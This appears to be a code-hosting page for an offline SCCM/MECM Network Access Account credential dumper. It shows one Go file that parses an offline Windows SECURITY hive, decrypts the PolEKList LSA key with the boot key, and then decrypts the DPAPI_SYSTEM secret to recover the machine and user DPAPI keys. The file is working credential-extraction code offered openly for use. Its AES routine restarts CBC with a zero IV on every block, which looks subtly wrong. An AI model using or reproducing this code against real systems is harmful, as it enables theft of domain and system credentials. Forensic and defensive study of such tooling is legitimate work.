● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.

Offline extractor and decryptor for SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk WMI repositories and DPAPI master keys.

$ git clone https://shehzade.io/repos/naa-dump-offline.git Copy
Source ZIP (290.0 KB) Prebuilt Binaries
Code 15 Commits 3 Releases 5
← Back to directory
137 lines · 3.4 KB
Raw
1package registry
2
3import (
4 "crypto/aes"
5 "crypto/cipher"
6 "crypto/sha256"
7 "encoding/binary"
8 "fmt"
9 "os"
10
11 "www.velocidex.com/golang/regparser"
12)
13
14type DPAPISystemKeys struct {
15 BootKey []byte
16 LSAKey []byte
17 MachineKey []byte
18 UserKey []byte
19}
20
21func sha256Key(key, value []byte) []byte {
22 h := sha256.New()
23 h.Write(key)
24 for i := 0; i < 1000; i++ {
25 h.Write(value)
26 }
27 return h.Sum(nil)
28}
29
30func decryptAES(key, ciphertext []byte) ([]byte, error) {
31 block, err := aes.NewCipher(key)
32 if err != nil {
33 return nil, err
34 }
35 iv := make([]byte, 16)
36 paddedLen := (len(ciphertext) + 15) / 16 * 16
37 buf := make([]byte, paddedLen)
38 copy(buf, ciphertext)
39
40 out := make([]byte, paddedLen)
41 for i := 0; i < len(buf); i += 16 {
42 mode := cipher.NewCBCDecrypter(block, iv)
43 mode.CryptBlocks(out[i:i+16], buf[i:i+16])
44 }
45 return out, nil
46}
47
48func ExtractDPAPISystemKeys(securityHivePath string, bootKey []byte) (*DPAPISystemKeys, error) {
49 f, err := os.Open(securityHivePath)
50 if err != nil {
51 return nil, fmt.Errorf("failed to open SECURITY hive: %w", err)
52 }
53 defer f.Close()
54
55 reg, err := regparser.NewRegistry(f)
56 if err != nil {
57 return nil, fmt.Errorf("failed to parse SECURITY hive: %w", err)
58 }
59
60 polEKKey := reg.OpenKey("Policy\\PolEKList")
61 if polEKKey == nil {
62 return nil, fmt.Errorf("could not find Policy\\PolEKList key in SECURITY hive")
63 }
64
65 var polEKVal []byte
66 for _, v := range polEKKey.Values() {
67 if v.ValueName() == "" || v.ValueName() == "default" {
68 polEKVal = v.ValueData().Data
69 break
70 }
71 }
72 if len(polEKVal) < 60 {
73 return nil, fmt.Errorf("Policy\\PolEKList value is too short (%d bytes)", len(polEKVal))
74 }
75
76 salt := polEKVal[28 : 28+32]
77 ciphertext := polEKVal[28+32:]
78
79 tmpKey := sha256Key(bootKey, salt)
80 plainText, err := decryptAES(tmpKey, ciphertext)
81 if err != nil {
82 return nil, fmt.Errorf("failed to decrypt PolEKList: %w", err)
83 }
84
85 if len(plainText) < 100 {
86 return nil, fmt.Errorf("decrypted PolEKList plainText too short (%d bytes)", len(plainText))
87 }
88 lsaKey := make([]byte, 32)
89 copy(lsaKey, plainText[68:100])
90
91 dpapiValKey := reg.OpenKey("Policy\\Secrets\\DPAPI_SYSTEM\\CurrVal")
92 if dpapiValKey == nil {
93 return nil, fmt.Errorf("could not find Policy\\Secrets\\DPAPI_SYSTEM\\CurrVal key in SECURITY hive")
94 }
95
96 var dpapiVal []byte
97 for _, v := range dpapiValKey.Values() {
98 if v.ValueName() == "" || v.ValueName() == "default" {
99 dpapiVal = v.ValueData().Data
100 break
101 }
102 }
103 if len(dpapiVal) < 60 {
104 return nil, fmt.Errorf("DPAPI_SYSTEM CurrVal is too short (%d bytes)", len(dpapiVal))
105 }
106
107 dpapiSalt := dpapiVal[28 : 28+32]
108 dpapiCipher := dpapiVal[28+32:]
109
110 dpapiTmpKey := sha256Key(lsaKey, dpapiSalt)
111 dpapiPlain, err := decryptAES(dpapiTmpKey, dpapiCipher)
112 if err != nil {
113 return nil, fmt.Errorf("failed to decrypt DPAPI_SYSTEM secret: %w", err)
114 }
115
116 if len(dpapiPlain) < 16 {
117 return nil, fmt.Errorf("decrypted DPAPI_SYSTEM plainText too short (%d bytes)", len(dpapiPlain))
118 }
119
120 secretLen := binary.LittleEndian.Uint32(dpapiPlain[:4])
121 if int(16+secretLen) > len(dpapiPlain) || secretLen < 44 {
122 return nil, fmt.Errorf("invalid secret length in DPAPI_SYSTEM: %d", secretLen)
123 }
124
125 dpapiSecret := dpapiPlain[16 : 16+secretLen]
126 machineKey := make([]byte, 20)
127 userKey := make([]byte, 20)
128 copy(machineKey, dpapiSecret[4:24])
129 copy(userKey, dpapiSecret[24:44])
130
131 return &DPAPISystemKeys{
132 BootKey: bootKey,
133 LSAKey: lsaKey,
134 MachineKey: machineKey,
135 UserKey: userKey,
136 }, nil
137}